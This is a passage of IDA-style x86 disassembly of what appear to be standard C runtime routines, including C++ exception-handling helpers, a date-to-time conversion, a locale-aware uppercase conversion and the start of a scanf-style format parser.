		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------


loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h


loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------


loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]


loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA


loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4CDA30
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4CDA34
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4CDA30, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4CDA34, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]


loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------


loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4CDA30, eax
		mov	eax, [ebp-20h]
		mov	dword_4CDA34, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552


loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2


loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4CDA3C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------


loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]


loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0


loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_435FF4
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------


loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]


loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0


loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4CF028
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------


loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]


loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 28604F5h


loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_436724[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi


loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_436640
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_436644, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1


loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_436648


loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------


loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh


loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------


loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_433E7C, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------


loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729


loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------


loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------


loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_433E7C, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------


loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_433C70
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch


loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------


loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------


loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA


loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
